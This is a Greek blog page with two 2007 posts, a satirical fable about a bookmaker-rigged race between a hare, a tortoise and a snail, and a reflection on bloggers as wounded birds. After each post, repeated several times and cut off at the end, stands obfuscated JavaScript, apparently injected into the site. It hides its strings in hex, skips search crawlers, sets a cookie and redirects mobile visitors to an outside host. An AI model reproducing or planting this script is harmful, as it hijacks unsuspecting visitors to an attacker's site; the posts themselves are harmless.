anwnymous

Απρίλιος 26, 2007

Ο λαγός, η χελώνα και το σαλιγκάρι

Filed under: Uncategorized — thelastrealanwnymous @ 8 :43 πμ

Πριν πούμε το παραμύθι να μιλήσουμε με πραγματικά γεγονότα. Τι συντελεστές έδωσαν οι μπουκ μέικερ σ’ αυτούς που θα τρέξουν στο πιο παλιό γκραν πρι της ιστορίας; Λαγός: 1,10, είναι το φαβορί. Χελώνα: 2,50, είναι αργή αλλά συνετή και αποτελεσματική στους μακροπρόθεσμους στόχους. Σαλιγκάρι: 10, δεν έχει καμία πιθανότητα να κερδίσει. Κάντε τώρα εδώ τις προβλέψεις, ποντάρετε στον έναν από τους τρεις και πάμε αμέσως να δούμε τον αγώνα.

Μια φορά κι έναν καιρό ο λαγός η χελώνα και το σαλιγκάρι, τρία αξιοπρεπή και φυτοφάγα ζώα (αυτό σημαίνει ότι δεν ήταν ντοπαρισμένα ) αποφάσισαν να τρέξουν επίσημα σε αγώνα δρόμου. Συναντήθηκαν ένα πρωί στην αφετηρία, δόθηκε η εκκίνηση και ο λαγός έφυγε πρώτος με φοβερή ταχύτητα. Η χελώνα ξεκίνησε σιγά -σιγά ενώ το σαλιγκάρι παρέμεινε στη θέση του.

Μόλις απομακρύνθηκε λίγο η χελώνα και μαζί της και οι τελευταίες κάμερες το σαλιγκάρι σήκωσε το κινητό του και άρχισε να μιλάει με τον προπονητή του. «Πώς θα γίνει να πάρω τον αγώνα;», του είπε το σαλιγκάρι. «Πρέπει να δούμε τι θα κάνει ο λαγός», είπε εκείνος.

Ο λαγός ήταν πλέον αρκετά μπροστά από τους άλλους και μείωσε το ρυθμό του. Τι θέλω και τρέχω για ένα και δέκα απόδοση, σκέφτηκε ο λαγός. Έβγαλε κι αυτός το κινητό του για να μιλήσει με το γραφείο (το μπουκ) που στοιχημάτισε. «Έλα», του είπε συνωμοτικά, «εγώ είμαι». «Τι έχουμε;», ρώτησε ο μπουκ μέικερ. «Πώς τα πάει το σαλιγκάρι;», ρώτησε ο λαγός. «Δεν έχει καμία πιθανότητα», είπε ο μπουκ. «Σου είπα να στοιχηματίσεις τη χελώνα. Είσαι επιπόλαιος και κυνηγάς το εύκολο κέρδος». Ο λαγός δεν απάντησε. «Και ο παππούς σου τότε, πριν πολλά χρόνια στοιχημάτισε τη χελώνα και μετά έπεσε και κοιμήθηκε στη μέση της διαδρομής.»

Α δεν είμαστε καλά σκέφτηκε ο λαγός. «Είχε και τότε στοιχήματα; να δούμε τι άλλο θ’ ακούσουμε σήμερα», αναρωτήθηκε φωναχτά. «Αγόρι μου η Ακρόπολη ήταν στοίχημα ανάμεσα στο Φειδία και τον τότε υπουργό ΥΠΕΧΩΔΕ», είπε ο μπουκ μέικερ. Εκείνο το στοίχημα το κέρδισε ο Φειδίας γιατί τελείωσε νωρίτερα το έργο από ότι περίμεναν οι πολιτικοί της εποχής». «Εγώ τι να κάνω τώρα;», ρώτησε ο λαγός.

«Ξεκουράσου λίγο, εμείς παρακολουθούμε τη χελώνα και αν δούμε ότι σε φτάνει θα πάρω να σε ενημερώσω». Ο λαγός έπεσε σε βαθιά συλλογή και όλα έδειχναν ότι θα τον έπαιρνε ο ύπνος.

Η χελώνα δεν είχε κινητό μαζί της ούτε έδειχνε να ενδιαφέρεται για προγνωστικά. Έτρεχε με τον αργό και μεθοδικό τρόπο της ελπίζοντας ότι κάπου θα συναντήσει το λαγό να κοιμάται. Είχε διακρίνει μία υποψία νύστας στα μάτια του.

Το σαλιγκάρι δεν σταμάτησε να μιλάει στο κινητό. Εκείνη τη στιγμή πήρε ένα καινούριο τηλεφώνημα και τον ενημέρωσαν ότι ο λαγός κοιμήθηκε όπως αναμενόταν. Το σαλιγκάρι ξαναμίλησε με το γραφείο στοιχημάτων. «Τι γίνεται παιδιά; Νομίζω ότι θα νικήσουμε σήμερα», είπε στον μπουκ και την παρέα του που κοίταζαν τον αγώνα στη τηλεόραση. Σ’ αυτό το γραφείο κανείς δεν πόνταρε στη χελώνα, όσοι έπαιζαν με σιγουριά πόνταραν στο 1,10 του λαγού, ενώ οι άλλοι απελπισμένοι κυνηγούσαν το 10 του σαλιγκαριού.

Η χελώνα συνέχισε να περπατάει και πλησίαζε να καλύψει τα 3/4 (τρία τέταρτα) της απόστασης. Ο λαγός κοιμόταν και περίπου σ’ αυτό το σημείο η χελώνα πέρασε μπροστά του νιώθοντας μια ανακούφιση. Σκεφθείτε τώρα πόσο γρήγορα ο λαγός είχε καλύψει τα 3/4 (τρία τέταρτα) του δρόμου. Το σαλιγκάρι δεν το κούνησε από την αφετηρία. Χτύπησε το κινητό του και απάντησε στη γλώσσα των στοιχημάτων. «Εδώ το δέκα το καλό, ποιος είναι παρακαλώ;» Η φωνή από την άλλη πλευρά του είπε ότι δεν υπήρχε ελπίδα, η χελώνα προπορευόταν, ο λαγός είχε κοιμηθεί και το παραμύθι θα επαναλαμβανόταν προς μεγάλη χαρά όσων πόνταραν στη χελώνα. Ευχάριστα νέα σκέφτηκε το σαλιγκάρι και έκλεισε το τηλέφωνο.

Ως εδώ τα πράγματα είχαν εξελιχθεί όπως περίμενε το σαλιγκάρι. Ο μεγάλος αντίπαλος κατά τη γνώμη του ήταν ο λαγός που μπορούσε να καθαρίσει τον αγώνα μέσα σε λίγα λεπτά, αφού κοιμήθηκε είχε αρκετό χρόνο για να σκεφθεί κάτι. Η χελώνα συνέχιζε το δρόμο της. Το σαλιγκάρι πρόσεξε τότε ένα ασθενοφόρο δίπλα στην αφετηρία. Ρώτησε στο κινητό αν υπήρχε ασθενοφόρο στον τερματισμό. Όχι δεν υπήρχε του είπαν. Τότε σκέφτηκε να ακυρώσει τον αγώνα. Αιτιολογία; Δεν τηρούνται οι κανόνες ασφαλείας. Μετά σκέφτηκε κάτι καλύτερο. Ανέβηκε στο προφυλακτήρα του ασθενοφόρου.

Η χελώνα πλησίαζε στο τέρμα. Ο λαγός έβλεπε στον ύπνο του την Ακρόπολη να χτίζεται, το ασθενοφόρο πέρασε με ταχύτητα ουρλιάζοντας μπροστά του και τον ξύπνησε. Κατευθυνόταν προς το τέρμα σε μια προσπάθεια να είναι εκεί πριν τερματίσουν οι αθλητές και ακυρωθεί ο αγώνας. Ο λαγός ξύπνησε απότομα με ένα αίσθημα να μη την πατήσει ξανά και επιτέλους να κερδίσει ο πιο γρήγορος.

Ακολούθησε το ασθενοφόρο τρέχοντας με όλη του τη δύναμη. Η χελώνα ακούγοντας τη σειρήνα και σίγουρη πλέον ότι τον ξύπνησε επιτάχυνε το βήμα της. Το τέρμα ήταν μόλις ελάχιστα μέτρα. Το ασθενοφόρο προσπέρασε τη χελώνα. Εκείνη έριξε ένα απελπισμένο βλέμμα προς τα πίσω να δει το λαγό. Ακριβώς εκείνη τη στιγμή το σαλιγκάρι γλίστρησε στη γραμμή τερματισμού και οι φωνές των θεατών έκαναν τη χελώνα να κοιτάξει προς τα κει. Ενώ ο λαγός πλησίαζε με φοβερή ταχύτητα, εκείνη είδε τα σαλιγκάρι να τερματίζει και θα πάθαινε ανακοπή αν δεν έβαζε τα δυνατά της να βγει τουλάχιστον δεύτερη. Το σαλιγκάρι ήταν ξεκάθαρα πρώτο και η χελώνα με το λαγό περίμεναν το φίνις για να βρεθεί εκείνη δεύτερη και ο λαγός τρίτος.

Αποτελέσματα. Αν ποντάρατε 100 ευρώ στο λαγό, χάσατε, όχι μόνο τα 10 που θα ήταν το κέρδος αλλά και τα 100. Αν ποντάρατε το ίδιο ποσό στη χελώνα, πάλι χάσατε τα 150 ευρώ που θα κερδίζατε και τα 100 σας. Και τώρα το αουτσάιντερ: αν ποντάρατε 100 ευρώ στο σαλιγκάρι θα πάρετε 1000 ευρώ.

Επίλογος:

Πήρε χρήματα ο Φειδίας για το στοίχημα που κέρδισε; αναρωτήθηκε ο λαγός. Ο τότε υπουργός ΥΠΕΧΩΔΕ που έχασε το στοίχημα, τού επέτρεψε να χτίσει το Ερεχθείο πιο μικρό και με λιγότερες Καρυάτιδες από την αρχική συμφωνία.

Τι κάνει ο Αίσωπος αυτές τις μέρες; Ο Αίσωπος είναι ένας ηλικιωμένος κύριος που κοιμάται συχνά μπροστά στη τηλεόραση και ξυπνάει τα μεσάνυχτα, για να δει την αγαπημένη του εκπομπή, του Μάκη με τα πολλά μικρά τριαντάφυλλα.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Απρίλιος 19, 2007

τραυματισμένα πουλιά

Filed under: Uncategorized — thelastrealanwnymous @ 5 :36 μμ

Νόμιζα πως ήταν ιδέα μου , νόμιζα πως εγώ τα έχω λύσει όλα και ήρθα «εδώ» για διασκέδαση. Ή μάλλον για να γεμίσω την ανία μου . Το σίγουρο είναι πως και εγώ ψάχνω κάτι σ αυτή τη ζωή αλλά δεν μου βγαίνει το σενάριο.  Αλλά ας αφήσουμε εμένα για λίγο.

Τι γίνεται ρε γαμώτο ; τι συμβαίνει «εδώ μέσα» ;

Διαβάζω όσο μπορώ ,διάφορα μπλογκς καθημερινά και … είτε άμεσα ,είτε έμμεσα ,είτε κάπου κρυμμένη πίσω από τις λέξεις υπάρχει μια πληγή. Βέβαια αρκετοί –ες  είναι πάνω από 40 και κουβαλάνε πλέον μια «ιστορία» στην πλάτη τους και δεν μπορούν (να αλλάξουν ) να απαλλαγούν από το βάρος της.

Διάβασα πολύ «Γιάλομ» τελευταίως. Όταν μπαίνεις στο μονοπάτι της ψυχανάλυσης ,η αλήθεια είναι ότι το υποσυνείδητο πρώτα προβάλλει εικόνες κακοποίησης . Προβάλλει όλα αυτά που μας έχουν πληγώσει και εξακολουθούν να μας κυνηγάνε έστω και αν τα έχουμε απωθήσει. Τα μπλογκς είναι ένα «ψυχαναλυτήριο». Δεν θέλω ακριβώς να δώσω συμβουλές τώρα , δεν είμαι ειδήμονας , έχω και εγώ τα «δικά μου» ,έστω κι αν οι παρέες μου τα θεωρούν «πολυτέλειες». Θέλω να πω μόνο τα εξής. Όταν βλέπουμε κάποιον εδώ μέσα να υποφέρει , ας μη σταματάμε σε ένα «θάρρος, κουράγιο , θα το ξεπεράσεις» . Αν τον ξέρουμε αυτόν που γράφει , αν παρακολουθούμε τα ποστ του , αν έχουμε κάποια οικειότητα ,  ας κάνουμε κάτι περισσότερο από ένα σχόλιο.

Φίλοι μπλόγκερς- ισες. Οι περισσότεροι είμαστε «τραυματισμένα πουλιά». Ακόμα και κάποιοι που τους συναντάς  εδώ να προβάλλουν πολιτικές θέσεις και να κάνουν «αντίσταση». Ακόμα και αυτοί  έχουν φάει χυλόπιτα «έξω» , έχουν πληγωθεί και χωρίς να λένε τίποτε, ήρθαν εδώ να συνεχίσουν τον αγώνα τους. Σαν τραυματισμένα πουλιά πρέπει να αντιμετωπίσουμε όσους δείχνουν ότι υποφέρουν , όσους δείχνουν ότι μπορεί να κουράστηκαν, ότι δεν πάει άλλο.  

Έρχονται στιγμές που δεν  με νοιάζει το μπλογκ μου. Δεν με νοιάζει η επισκεψιμότητα και η μανία μιας «εκδοτικής» εξωστρέφειας που θα την ήθελα πολύ , που η πιθανότητά της με «φτιάχνει» και με απογειώνει κάθε φορά που γράφω . Θα ήθελα μόνο μέσα από την εμπειρία μου εδώ ,να δω μια μέρα κάποιο από τα «πουλιά» ,που βρέθηκε στο δρόμο  μου ,να πετάει ξανά ελεύθερο και απαλλαγμένο από τον πόνο της πληγής του.  

 Κλείνω με ένα… φτερούγισμα  ^^

Και ένα χαμόγελο   J  var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 